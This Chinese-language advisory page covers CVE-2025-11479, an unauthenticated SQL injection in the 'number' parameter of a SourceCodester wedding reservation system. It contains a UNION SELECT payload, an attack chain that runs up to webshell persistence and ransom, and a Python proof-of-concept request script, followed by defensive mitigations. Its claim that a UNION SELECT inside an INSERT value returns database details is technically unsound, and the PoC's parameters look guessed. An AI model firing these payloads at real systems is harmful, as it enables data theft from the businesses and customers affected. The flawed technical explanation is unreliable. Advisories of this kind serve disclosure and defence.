IPBUF安全漏洞报告
English
CVE-2025-11479 CVSS 7.3 高危

CVE-2025-11479:SourceCodester婚宴预订管理系统SQL注入漏洞

披露日期: 2025-10-08

漏洞信息

漏洞编号
CVE-2025-11479
漏洞类型
SQL注入
CVSS评分
7.3 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
SourceCodester Wedding Reservation Management System

相关标签

SQL注入SourceCodesterWedding Reservation Management Systemfunction.phpinsertReservationCVE-2025-11479高危漏洞未授权访问Web应用漏洞PHP

漏洞概述

CVE-2025-11479是SourceCodester公司开发的婚宴预订管理系统(Wedding Reservation Management System)1.0版本中存在的一个高危SQL注入漏洞。该漏洞存在于系统后端文件function.php中的insertReservation函数内,攻击者可以通过操纵传入的number参数执行恶意SQL语句,从而绕过正常的数据验证流程,直接与底层数据库进行交互。

该漏洞的CVSS 3.1评分为7.3分,属于高危级别。其攻击向量为网络(AV:N),攻击复杂度低(AC:L),无需任何权限认证(PR:N),也无需用户交互(UI:N),表明该漏洞可以被远程未授权攻击者轻易利用。漏洞对机密性、完整性和可用性均产生低级别影响(C:L/I:L/A:L),意味着攻击者可以读取、修改数据库中的敏感数据,并可能导致数据库服务异常。

目前该漏洞的利用方式已公开披露,攻击者可以从公开渠道获取PoC代码并实施攻击。由于该系统通常用于婚庆公司管理预订业务,数据库中可能存储有客户姓名、联系方式、预订详情等敏感个人信息,一旦被利用可能导致大规模数据泄露。此外,SQL注入还可能被进一步利用进行权限提升、数据篡改甚至远程代码执行,对业务系统造成严重威胁。

技术细节

该SQL注入漏洞位于SourceCodester婚宴预订管理系统1.0版本的function.php文件中的insertReservation函数。当用户提交预订请求时,系统会将number参数直接拼接到SQL INSERT语句中,而未对其进行充分的输入验证和参数化处理,从而产生了SQL注入漏洞。

从技术角度看,insertReservation函数负责将新的预订信息插入数据库。在正常的业务流程中,该函数会接收包括预订编号(number)在内的多个参数。然而,由于number参数未经过滤或转义,攻击者可以通过在number参数中注入恶意SQL片段(如单引号闭合后的UNION SELECT语句或基于时间的盲注语句),改变原有SQL查询的逻辑结构。

例如,攻击者可以构造如下payload:
1' UNION SELECT 1,user(),database(),version(),5,6,7,8-- -

这种payload会闭合原有的INSERT语句中的字符串引号,并通过UNION SELECT语句将数据库的敏感信息(如当前用户、数据库名、版本信息等)作为查询结果返回。由于漏洞存在于INSERT语句中,攻击者还可以利用基于时间的盲注技术(如使用SLEEP函数)逐字符提取数据库内容。

由于该漏洞无需认证即可利用,且攻击复杂度极低,攻击者可以通过简单的HTTP POST请求直接对目标系统发起攻击。漏洞利用成功后,攻击者可以获取数据库中的全部数据,包括管理员凭据、客户信息等敏感内容,并可能进一步实施更深层次的攻击。

攻击链分析

STEP 1
步骤1:信息收集
攻击者通过搜索引擎或Shodan等工具识别暴露在互联网上的SourceCodester婚宴预订管理系统1.0版本实例,收集目标URL和系统架构信息。
STEP 2
步骤2:漏洞探测
攻击者向目标系统的function.php文件发送带有特殊字符的number参数(如单引号),通过观察响应内容或响应时间判断是否存在SQL注入漏洞。
STEP 3
步骤3:漏洞利用
攻击者构造UNION SELECT或基于时间的盲注payload,通过number参数注入恶意SQL语句,绕过原有的INSERT语句逻辑。
STEP 4
步骤4:数据提取
利用SQL注入漏洞,攻击者逐步提取数据库中的敏感信息,包括管理员凭据、客户个人信息、预订记录等。
STEP 5
步骤5:权限提升与持久化
攻击者利用获取的管理员凭据登录系统后台,上传Webshell或修改系统配置,实现对服务器的持久化控制。
STEP 6
步骤6:数据破坏或勒索
攻击者可删除或篡改数据库中的预订数据,或对数据进行加密勒索,给婚庆公司造成严重的业务损失和声誉损害。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-11479 PoC - SQL Injection in insertReservation function # Target: SourceCodester Wedding Reservation Management System 1.0 # Vulnerable file: function.php # Vulnerable parameter: number # Method: UNION-based SQL Injection import requests TARGET_URL = "http://target.com/wedding_reservation/function.php" # Payload to extract database information via UNION-based SQLi # The 'number' parameter is directly concatenated into an INSERT statement payload = "1' UNION SELECT 1,user(),database(),version(),5,6,7,8-- -" data = { "number": payload, # Other required parameters for the insertReservation function "name": "test", "address": "test_address", "contact": "1234567890", "date": "2025-01-01", "time": "12:00", "venue": "test_venue", "status": "pending" } response = requests.post(TARGET_URL, data=data) print(f"Status Code: {response.status_code}") print(f"Response: {response.text}") # Time-based blind SQLi alternative payload: # payload = "1' AND SLEEP(5)-- -" # If the response is delayed by ~5 seconds, the injection is confirmed.

影响范围

SourceCodester Wedding Reservation Management System 1.0

防御指南

临时缓解措施
在官方补丁发布之前,建议采取以下临时缓解措施:1)通过Web应用防火墙(WAF)规则过滤包含SQL关键字(如UNION、SELECT、SLEEP等)的number参数请求;2)在function.php文件中对insertReservation函数的number参数进行严格的输入验证,仅允许数字字符通过;3)对数据库连接账户降权,移除不必要的权限(如FILE权限);4)部署入侵检测系统(IDS)监控异常的数据库查询行为;5)限制function.php文件的访问频率,防止自动化攻击;6)定期备份数据库,以便在遭受攻击后能够快速恢复数据。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表